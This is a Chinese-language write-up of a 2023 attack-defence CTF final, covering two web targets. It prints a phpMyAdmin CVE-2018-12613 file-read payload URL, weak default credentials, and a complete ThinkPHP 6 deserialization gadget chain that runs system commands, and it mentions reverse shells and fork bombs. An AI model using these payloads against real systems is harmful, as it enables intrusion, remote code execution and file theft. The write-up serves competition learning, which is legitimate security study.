2023 观安杯决赛

WriteUp 1年前 (2023) admin
589 0 0
周三和同事组队“江苏金盾”参加了 2023 观安杯管理运维赛线下总决赛。原本看了官网上对赛制的介绍,并参考了前两年的总决赛,以为决赛是应急响应的模式,赛前还猛猛看了一些资料。结果周三早上过去调试的时候,让测试的平台是 awd 的平台,感觉不对劲了。问了下工作人员,确认了下午的模式是 awd。遂赶紧掏出尘封已久的框架在那调试,给我急坏了(然而真正比赛的时候根本没用上)
最后虽然没有pwn手在(全场似乎也没有pwn手),但还是小拿一手第一,估计来参加的队伍也都以为应急响应的模式,所以没有做好相应准备。

2023 观安杯决赛

整场比赛有4台靶机,两台 web 两台 pwn,我们只做了两个 web,甚至根本没搭理 pwn(还好全场也没有 pwn 手,不然被打了都不知道怎么修)但说实话,三个小时下来我是比较坐牢的,因为除了当交 flag 的猴子外,基本没别的事儿做。

web1

进入前台是一个很简单的 blog,但是根据源码我们可以看到,在 admin/pma 目录下是一个 phpMyAdmin 的后台管理系统。然后在web根目录下的 database.php 文件中我们可以得到一个账户和用户名密码 ctf:ctf
<?php 
    error_reporting(0);
    define('MYSQL_SERVER''localhost') ;
    define('MYSQL_USER''ctf') ;
    define('MYSQL_PASSWORD''ctf') ;
    define('MYSQL_DB''blog') ;

    function db_connect(){
        $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link));
        if(!mysqli_set_charset($link, "utf8")) {
            printf("Error: ".mysqli_error($link));
        }

        return $link;
    }

 //test
 if(isset($_GET['host'])){
  $link = mysqli_query(mysqli_connect($_GET['host'],$_GET['username'],$_GET['password'],$_GET['database'],$_GET['port']), "set names utf8");
    if ($link){
     echo "<script>alert('success')</script>";
    }else{
     echo "<script>alert('error')</script>";
    }
 }
?>

那么肯定要赶紧把这个密码给改掉,当然单单在这个 php 文件中改肯定是没用的,得用 sql 语句改 UPDATE ctf SET pass='' where user_id=1; 然后再在这里改掉,不然网站可能会因为连不上数据库然后崩掉而被 check。
修完自己的当然就是去看看还有哪些手慢的队伍。我们的 “第一桶金“ 就是利用的这个弱口令,在使用弱口令登录后台后,利用 pma 后台任意文件读(CVE-2018-12613)即可获取根目录的 flag 了。

payload:http://10.103.x.1/admin/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag

2023 观安杯决赛

由于 ctf 用户的权限很低,没办法写 shell,所以我们只能读读 flag,另外由于种种原因,没有写出自动化利用的脚本,所以当时我们就是一个个手输flag。大概打了三四轮后,被打的队伍都发现了这个点,就把这个口令改了,(某些队伍可能因为只是改了 php 文件还被check了)然后我们就没事儿做了。其他队伍发现这个点后也基本没来得及利用,这让我们狠狠捞了一笔。
正当我对 web2 如何读其他选手 encrypted_flag 文件一筹莫展之时,队友突然内网通发来消息,

2023 观安杯决赛

好家伙,还有一个弱口令。队友在看 pma 后台看账户的时候发现,除了 ctf,还有 admin 和 root 账户,root 的口令没爆破出来,倒是把 admin 的口令给爆破出来了。于是我们又利用这个口令狠狠爆其他队伍的flag。这个口令由于不能直接在源码文件中找到,因此大部分的队伍直到比赛结束也没发现,也就没修。
虽然但是,到后面我们的 web1 也一直在被打,所以应该还是有别的漏洞点我们没有发现的。

web2

web2 是一个基于 thinkphp 6 框架搭建的网站,有疑点的部分是在 publicsendtodatabase.php 文件中
<?php
// require __DIR__ . '/../app/start.php';
namespace appcontroller;
require_once('/var/www/app/controller/DataController.php');
use appBaseController;

$servername = "127.0.0.1";
$username = "root";
$password = "root";
$dbname = "contact_user";
$conn = new MySQLi($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("Database connection failed: " . $conn->connect_error);
}
$serializedData = $_POST["serializedData"];
//$command = "python3 /var/www/app/encrypted.py '$serializedData'";
$command = "ip";
$encryptedData_modulus = shell_exec($command);
$encryptedData_modulus = str_replace("'",""",$encryptedData_modulus);
$encryptedData_modulus = str_replace("", "","":"",$encryptedData_modulus);
$encryptedData_modulus = json_decode($encryptedData_modulus, true);
$index = 0;
foreach ($encryptedData_modulus as $inner_array) {
    foreach ($inner_array as $encryptedData => $modulus) {
        // echo "encryptedData: $encryptedData, modulus: $modulusn";
        $infotablename = "user_info" . ($index + 1);
        $sql = "INSERT INTO $infotablename (cryptedData, modulus) VALUES ('$encryptedData', '$modulus')";
        if ($conn->query($sql) === TRUE) {
            echo "Data has been successfully inserted into the ". $infotablename . "n";
        } else {
            echo "Data insertion failed: " . $conn->error;
        }
        $index = $index + 1;
    }
}
$conn->close();
?>

可以看到这里有一行命令 $command = "python3 /var/www/app/encrypted.py '$serializedData'";
虽然这部分代码并不能运行起来(连接数据库的用户名密码是错的),但我们在 web 根目录下确实看到了 encrypted_flag 文件,查看  app/encrypted.py 文件
import sys
import libnum
import random


# if len(sys.argv) < 2:
#     print("error")
#     exit(1)
with open("/flag""r"as file:
    data = file.read()
# data = sys.argv[1]
EeEeEeEeEe = 23
cryptedData_modulus=[]
# modulus_list = []
# cryptedData_list = []
def ToEncrypt_Encrypting_Encrypted(e,data):
    PpPpPpPp=libnum.generate_prime(1024)
    QqQqQqQq=libnum.generate_prime(1024)
    Dadadata=libnum.s2n(data)
    modulus=PpPpPpPp * QqQqQqQq
    # modulus_list.append(modulus)
    cryptedData=pow(Dadadata,EeEeEeEeEe,modulus)
    # cryptedData_list.append(cryptedData)
    correspondingData = {str(cryptedData):str(modulus)}
    cryptedData_modulus.append(correspondingData)

def main():
    for i in range(6):
        ToEncrypt_Encrypting_Encrypted(EeEeEeEeEe,data)
    print(cryptedData_modulus)
    # print(f"cryptedData_list = {cryptedData_list}")
    # print(f"modulus_list = {modulus_list}")
    with open("/var/www/encrypted_flag""w"as file:
        file.write(str(cryptedData_modulus))
main()
可以看到这里对服务器根目录下的 flag 文件使用 RSA 进行加密并将密文存在了 /var/www/encrypted_flag 中,这里使用的 RSA 公钥指数为 23,模数都不相同,还加密了 6 次,显然是一个低加密指数广播攻击的场景。然并卵,我一直没找到如何读取其他队伍 encrypted_flag  文件的方法。恨!
不过在/route 文件夹下找到了一个 app.php
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <[email protected]>
// +----------------------------------------------------------------------
use thinkfacadeRoute;

Route::get('think'function () {
    return 'hello,ThinkPHP6!';
});

Route::get('hello/:name''index/hello');

Route::get('/''index/index');
Route::post('/postdata''index/postdata');

里面给了一个 postdata 的接口,看到 /app/controller/Index.php 文件
<?php
namespace appcontroller;
require_once('/var/www/app/controller/DataController.php');
use appBaseController;
class Index extends BaseController
{
    public function index()
    
{
            return view('index');
    }

    public function postdata()
    
{
        $data = request() -> post('data');
       
        if ($data) {
            $dataController = new DataController();
            $unseiazlizeData = $dataController->unserializeData($data);
            echo $unseiazlizeData;
            return "6";
        }
        else {
            return "post data failed";
        }
    }


}
反序列化的口子砸脸上了,队友说他之前国赛考的就是 thinkphp6 的反序列化,不过手里没存 poc,现挖也挖不出来啊,恨!
最后主办方可能看不下去了,在倒数三四轮的时候把 poc 发出来了
<?php

namespace think {
    abstract class Model
    {
        private $lazySave = true;
        private $data = ['a' => 'b'];
        private $exists = true;
        protected $withEvent = false;
        protected $readonly = ['a'];
        protected $relationWrite;
        private $relation;
        private $origin = [];

        public function __construct($value)
        
{
            $this->relation = ['r' => $this];
            $this->origin = ["n" => $value];
            $this->relationWrite = ['r' =>
                ["n" => $value]
            ];
        }
    }

    class App
    
{
        protected $request;
    }

    class Request
    
{
        protected $mergeParam = true;
        protected $param = ["whoami"];
        protected $filter = "system";
    }
}

namespace thinkmodel {

    use thinkModel;

    class Pivot extends Model
    
{
    }
}

namespace thinkroute {

    use thinkApp;

    class Url
    
{
        protected $url = "";
        protected $domain = "domain";
        protected $route;
        protected $app;

        public function __construct($route)
        
{
            $this->route = $route;
            $this->app = new App();
        }
    }
}

namespace thinklog {
    class Channel
    {
        protected $lazy = false;
        protected $logger;
        protected $log = [];

        public function __construct($logger)
        
{
            $this->logger = $logger;
        }
    }
}

namespace thinksession {
    class Store
    {
        protected $data;
        protected $serialize = ["call_user_func"];
        protected $id = "";

        public function __construct($data)
        
{
            $this->data = [$data, "param"];
        }
    }
}

namespace {
    $request = new thinkRequest();         //  param
    $store = new thinksessionStore($request);     // save
    $channel = new thinklogChannel($store);     // __call
    $url = new thinkrouteUrl($channel);   // __toString
    $model = new thinkmodelPivot($url);   // __destruct
    echo urlencode(serialize($model));
}

然后我们就立刻拿下,队友马上写出了自动化利用的脚本,狠狠爆其他队伍的 flag。不过由于时间太晚,只剩三轮了,大家也倦了,不想搞了,只想当一当猴子交一交 web1 的flag。如果手里提前存着 poc 的话,那就有时间写马,可以权限维持,可以弹shell,可以 fork 炸弹,可以 … (真正的 awd 就开始了)
阿巴阿巴,就是这么多了,除了当了一天交 flag 的猴子外啥也没干成,到最后也还是不知道怎么读 encrypted_flag,(拿到 poc 后都可以直接读 /flag 了,谁还读 encrypted_flag 啊)菜菜,全靠队友带。

原文始发于微信公众号(Van1sh):2023 观安杯决赛

版权声明:admin 发表于 2023年9月1日 下午12:00。
转载请注明:2023 观安杯决赛 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...